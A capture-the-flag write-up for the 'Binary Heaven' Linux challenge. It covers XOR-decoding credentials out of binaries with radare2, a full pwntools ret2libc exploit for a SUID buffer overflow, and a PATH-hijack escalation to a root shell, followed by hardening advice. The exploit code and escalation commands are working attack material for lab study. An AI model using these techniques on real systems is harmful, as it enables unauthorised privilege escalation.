Category: Binary Exploitation | Reverse Engineering | Privilege Escalation
OS: Ubuntu 16.04 LTS (x86 / x86–64)
Tools: radare2, gdb, pwntools, strings, ldd, readelf
Flags: guardian_flag.txt · binexgod_flag.txt · root
Press enter or click to view image in full size
Table of Contents
1. Overview
2. Part 1 — Reverse Engineering the Angel Binaries
2.1 Initial Reconnaissance
2.2 Reversing angel_A with radare2
2.3 Reversing angel_B (Go Binary)
3. Part 2 — SSH Access & Buffer Overflow (ret2libc)
3.1 SSH into the Target
3.2 Enumerating the Home Directory
3.3 Gathering Exploit Primitives
3.4 Writing the ret2libc Exploit
3.5 Running the Exploit
4. Part 3 — Privilege Escalation to Root (PATH Hijack)
4.1 Enumerating as binexgod
4.2 Identifying the Vulnerability
4.3 Exploiting the PATH Hijack
5. Attack Chain Summary
6. Defense & Mitigation
6.1 Anti-Reversing Improvements
6.2 Buffer Overflow Mitigations
6.3 SUID Binary Hardening
6.4 General Hardening Recommendations
7. Key Takeaways1. Overview
Binary Heaven is a Linux-based CTF challenge composed of three escalating phases. The attacker starts with no credentials, reverses two mystery binaries to discover a username and password, SSHs into the target, exploits a 32-bit buffer overflow using a ret2libc technique to pivot from the guardian user to binexgod, and finally abuses a SUID binary with a PATH hijack to land a root shell.
2. Part 1 — Reverse Engineering the Angel Binaries
2.1 Initial Reconnaissance
Two binaries are provided: angel_A (17KB, dynamically linked ELF 64-bit) and angel_B (2.1MB, statically linked Go binary). Running both shows, they prompt for a username and a magic word.
$ file angel_A angel_B
angel_A: ELF 64-bit LSB pie executable, x86-64, dynamically linked
angel_B: ELF 64-bit LSB executable, x86-64, statically linked (Go)$ chmod +x angel_A angel_B
$ ./angel_A
Say my username >> test
That is not my username!
Say the magic word >> yok
You are not worthy of heaven!Computing checksums confirms the files are distinct:
$ sha256sum angel_A angel_B
403b7f2ae47a7ad069e852bdf8bcacb3f7fb5c9b3a6a749ec07f0a40b0165e61 angel_A
d5fcee8d947fa598d35724cdbc65fea6f7c24f10e9cd00697be6affd70ae7532 angel_B2.2 Reversing angel_A with radare2
Loading angel_A In radare2, running a full analysis reveals the main function. The binary calls ptrace(PTRACE_TRACEME) on itself as an anti-debug trick — if a debugger is attached, the call fails and the binary exits early.
$ r2 angel_A
[0x00001090]> aaa
[0x00001090]> afl
0x00001175 8 225 main[0x00001090]> pdf @ main
; ptrace anti-debug check
0x000011a2 cmp rax, 0xffffffffffffffff
0x000011a8 lea rdi, str.Using_debuggers...
; Username input via fgets() size=9
0x000011df mov esi, 9
0x000011e7 call sym.imp.fgets
; XOR comparison loop against stored value
0x00001211 movzx eax, byte [rbp + rax - 0xd]
0x00001215 xor eax, 4 ; key = 4Dumping the strings section shows the obfuscated username stored at the address 0x4060:
[0x00001090]> iz
4 0x00004060 8 32 .data utf32le kym~humrPress enter or click to view image in full size
The stored value kym~humr is XOR-encoded with the key 4. A simple Python script decodes it:
# de.py
stored = "kym~humr"
decoded = "".join([chr((ord(c)-8) ^ 4) for c in stored])
print(decoded)$ python de.py
[REDACTED]🔑 Username:
[REDACTED]
Confirming with the binary:
$ ./angel_A
Say my username >> [REDACTED]
Correct! That is my name!2.3 Reversing angel_B (Go Binary)
angel_B is a statically linked Go binary. The large runtime makes it noisy, but navigating to sym.main.main it in radare2 reveals the magic word check. The binary uses runtime.memequal to compare input against a hardcoded string pointer:
[0x00464700]> pdf @ sym.main.main
0x004a54a5 lea rax, [0x004cad0b]
; "[REDACTED]IdeographicMedefaidrin..."
0x004a54b6 call sym.runtime.memequal
0x004a54bb cmp byte [var_18h], 0
0x004a54c0 je 0x4a540a ; wrongPrinting the string at that address:
Press enter or click to view image in full size
[0x00464700]> ps 11 @ 0x004cad0b
[REDACTED]🔑 Magic word (SSH password):
[REDACTED]
3. Part 2 — SSH Access & Buffer Overflow (ret2libc)
3.1 SSH into the Target
Using the credentials recovered from reversing the angel binaries:
$ ssh guardian@[REDACTED]
guardian@[REDACTED]'s password: [REDACTED]Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-142-generic x86_64)
guardian@heaven:~$3.2 Enumerating the Home Directory
guardian@heaven:~$ ls -la
-rwsr-sr-x 1 binexgod binexgod 15772 May 8 2021 pwn_me
-rw-r--r-- 1 root root 26 Mar 15 2021 guardian_flag.txtguardian@heaven:~$ ./pwn_me
Binexgod said he want to make this easy.
System is at: 0xf7de0950The binary is SUID (runs as binexgod) and leaks the runtime address of system() directly — the challenge author made this intentionally easy.
3.3 Gathering Exploit Primitives
Finding libc base and offsets:
# Confirm which libc is in use
guardian@heaven:~$ ldd pwn_me
libc.so.6 => /lib32/libc.so.6 (0xf7df1000)# system() offset within libc
guardian@heaven:~$ readelf -s /lib32/libc.so.6 | grep ' system@@'
1457: 0003a950 FUNC WEAK DEFAULT system@@GLIBC_2.0# /bin/sh string offset within libc
guardian@heaven:~$ strings -t x /lib32/libc.so.6 | grep '/bin/sh'
15910b /bin/sh
The offset from system() to /bin/sh in this libc: 0x15910b - 0x3a950 = 0x11e7bb
Get Roshan Rajbanshi’s stories in your inbox
Join Medium for free to get updates from this writer.
Finding the overflow offset:
# Fuzz with increasing lengths to find the crash point
for i in {20..100}; do
echo -n "$i "
python3 -c "print('A'*$i)" | ./pwn_me > /dev/null 2>&1 || (echo "Crashed at $i"; break)
done
# Crashes at 28, EIP overwrite confirmed at offset 32 via gdbguardian@heaven:~$ gdb -q ./pwn_me
(gdb) run <<< $(python3 -c "print('AAAABBBBCCCCDDDDEEEEFFFF...IIII')")
Program received signal SIGSEGV, Segmentation fault.
0x49494949 in ?? () # 'IIII' lands at offset 32Exploit primitives summary:
+-----------------------------+------------------------------------+
| Primitive | Value |
+-----------------------------+------------------------------------+
| Buffer overflow offset | 32 bytes |
| system() address | Leaked at runtime |
| /bin/sh offset from sys() | +0x11e7bb |
| Architecture | 32-bit (ret2libc layout applies) |
+-----------------------------+------------------------------------+3.4 Writing the ret2libc Exploit
The ret2libc payload layout on 32-bit: [padding] + [system()] + [fake ret] + [ptr to /bin/sh]
# exploit.py
from pwn import *# 1. Start process
p = process('./pwn_me')# 2. Get the leak
p.recvuntil(b'0x')
leak_hex = p.recvline().strip()
system_addr = int(leak_hex, 16)
binsh_addr = system_addr + 0x11e7bblog.success("System: {}".format(hex(system_addr)))
log.success("/bin/sh: {}".format(hex(binsh_addr)))# 3. Build payload (32 bytes padding + ret2libc)
payload = b"A" * 32
payload += p32(system_addr) # overwrite saved return address -> system()
payload += p32(0xdeadbeef) # fake return address for system()
payload += p32(binsh_addr) # argument 1 -> "/bin/sh"# 4. Send payload
p.sendline(payload)# 5. Drop into interactive shell
log.success("Dropping into shell!")
p.interactive()
3.5 Running the Exploit
# Disable pwntools update check (Python 3.5 compatibility)
guardian@heaven:~$ echo never > ~/.cache/.pwntools-cache-3.5/updateguardian@heaven:~$ python3 exploit.py
[+] Starting local process './pwn_me': pid 2492
[+] System: 0xf7d4b950
[+] /bin/sh: 0xf7e6a10b
[+] Dropping into shell!
[*] Switching to interactive mode
$ id
uid=1002(binexgod) gid=1001(guardian) groups=1001(guardian)✅ Shell obtained as
binexgod!
4. Part 3 — Privilege Escalation to Root (PATH Hijack)
4.1 Enumerating as binexgod
$ ls -la
-rwsr-xr-x 1 root binexgod 8824 Mar 15 2021 vuln
-rwxr-xr-- 1 root binexgod 327 Mar 8 2021 vuln.c
-rw-r--r-- 1 binexgod binexgod 20 Mar 1 2021 binexgod_flag.txt$ cat binexgod_flag.txt
<flag here>Reading the source of the SUID binary:
$ cat vuln.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>int main(int argc, char **argv, char **envp) {
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
system("/usr/bin/env echo Get out of heaven lol");
}4.2 Identifying the Vulnerability
The binary calls system("/usr/bin/env echo ..."). The env utility resolves echo by searching the directories listed in $PATH from left to right. Since PATH is an environment variable that we control, placing a malicious binary named echo at the front of PATH causes env to execute our binary instead — as root, because vuln is SUID.
⚠️ Vulnerability: SUID binary calls
env echowith attacker-controlled PATH
4.3 Exploiting the PATH Hijack
# Step 1: Create a fake 'echo' that spawns a shell
$ cd /tmp
$ echo '/bin/sh' > echo
$ chmod +x echo# Step 2: Prepend /tmp to PATH so our 'echo' is found first
$ export PATH=/tmp:$PATH# Step 3: Execute the SUID binary
$ /home/binexgod/vuln
$ id
uid=0(root) gid=1001(guardian) groups=1001(guardian)
✅ ROOT SHELL OBTAINED!
uid=0(root)
5. Attack Chain Summary
+------+------------------------------------------+-------------------------------+
| Step | Technique | Outcome |
+------+------------------------------------------+-------------------------------+
| 1 | Static analysis + XOR decode (radare2) | Username: [REDACTED] |
| 2 | Go binary string analysis (radare2) | Password: [REDACTED] |
| 3 | SSH login with recovered credentials | Access as guardian |
| 4 | ret2libc via leaked system() address | Shell as binexgod |
| 5 | SUID binary PATH hijack | Root shell uid=0(root) |
+------+------------------------------------------+-------------------------------+6. Defense & Mitigation
6.1 Anti-Reversing Improvements
Problem: Credentials and secrets are stored in plaintext or with trivially reversible encoding (XOR with a single-byte key). The ptrace anti-debug trick is easily bypassed during static analysis.
Mitigations:
- Never store credentials in binaries. Authentication should happen server-side. A local binary comparing against a hardcoded password will always be reversible.
- Use proper key derivation (e.g. PBKDF2, bcrypt) instead of XOR if local verification is unavoidable.
- Strip binaries (
strip) before distribution to remove symbol names, making reverse engineering harder. - Enable PIE (Position Independent Executable) to randomize binary load addresses.
- Anti-debug tricks, like
ptrace(PTRACE_TRACEME)providing minimal protection, are bypassed by static analysis — do not rely on them as a security control.
6.2 Buffer Overflow Mitigations
Problem: pwn_me allows a stack buffer overflow that overwrites the saved return address, enabling ret2libc. The binary also leaks a libc address, removing the need to bypass ASLR.
Mitigations:
- Enable stack canaries (
-fstack-protector-all). A random value is placed between local variables and the return address; any overflow that corrupts the return address will also corrupt the canary, causing the program to abort before returning. - Enable ASLR (Address Space Layout Randomization). Ensure
/proc/sys/kernel/randomize_va_spaceit is set to2. This randomizes libc load addresses, making ret2libc much harder without a leak. - Never leak internal addresses. Printing
system()the address to the user directly hands attackers the key to bypassing ASLR entirely. - Enable NX/DEP (
-z noexecstack) to prevent shellcode execution on the stack. - Enable Full RELRO (
-z relro -z now) to make the GOT read-only, blocking GOT overwrite attacks. - Use safer input functions. Replace unbounded
gets()or oversizedfgets()calls with input validation that enforces expected lengths.
Compile-time hardening example:
gcc -fstack-protector-all -pie -fPIE -z relro -z now -D_FORTIFY_SOURCE=2 -o pwn_me pwn_me.c6.3 SUID Binary Hardening
Problem: The vuln SUID binary calls system("/usr/bin/env echo ..."). Because env resolves echo via PATH, an attacker who controls PATH can substitute their own binary and have it execute as root.
Mitigations:
- Use absolute paths for all commands inside
system()calls. Replacesystem("/usr/bin/env echo ...")withsystem("/bin/echo ..."). This eliminatesPATHlookups. - Better yet, avoid
system()SUID binaries entirely. Useexecve()with an explicit argument array and a sanitized environment, orexec*family functions that do not invoke a shell. - Drop privileges before executing commands. The binary already calls
setresuid/setresgid, but does so to the effective UID (root via SUID). It should drop to an unprivileged UID before any external command execution. - Clear or sanitize the environment before calling
system()orexec(). Specifically zero outPATH,LD_PRELOAD, andLD_LIBRARY_PATH:
clearenv();
setenv("PATH", "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", 1);- Minimize SUID usage. If the binary only needs to read a file owned by root, use file ACLs or a privileged service with a narrow API rather than a full SUID binary.
- Apply the principle of least privilege. If the binary must run as root, use Linux capabilities (
CAP_DAC_READ_SEARCH, etc.) scoped to only what is needed rather than the full root SUID.
6.4 General Hardening Recommendations
+------------------+-----------------------------------------------------------------------+
| Area | Recommendation |
+------------------+-----------------------------------------------------------------------+
| Compiler flags | Enable -fstack-protector-all, -pie, -fPIE, -D_FORTIFY_SOURCE=2 |
| Linker flags | Enable -z relro -z now (Full RELRO) |
| Kernel settings | ASLR=2, kernel.dmesg_restrict=1, kernel.perf_event_paranoid=3 |
| SUID binaries | Audit: find / -perm -4000 -type f 2>/dev/null — minimize each one |
| Credentials | Never embed credentials in binaries; use secrets managers |
| Libc leaks | Never expose internal memory addresses to unprivileged users |
| Logging | Alert on SUID executions, unexpected PATH changes, ptrace calls |
| Patching | Keep libc and kernel up to date for upstream exploit mitigations |
+------------------+-----------------------------------------------------------------------+7. Key Takeaways
- Static analysis bypasses anti-debug.
ptrace(PTRACE_TRACEME)only stops dynamic debugging — it does nothing against radare2 or Ghidra reading the binary offline. - XOR obfuscation is not encryption. Single-byte XOR is reversed in seconds once the key is spotted in the disassembly.
- Go binaries are large, not safe. The runtime bloat makes them noisy to analyze, but the application logic inside
sym.main.mainis still fully reversible. - Leaking libc addresses destroys ASLR. A single leaked pointer hands the attacker the base of libc, making ret2libc trivial regardless of ASLR.
- pwntools vs raw subprocess. Raw
subprocessI/O deadlocks easily on binary exploitation targets. Always use pwntools —p.recvuntil(),p.sendline(), andp.interactive()handle all edge cases cleanly. - env + SUID = PATH hijack. Any SUID binary that invokes a command via
system()orexec()Without an absolute path is vulnerable to PATH hijacking. This is a well-known and easily prevented class of vulnerability. - Least privilege matters. Every escalation in this challenge exploited an over-privileged binary. Proper privilege separation would have contained each step.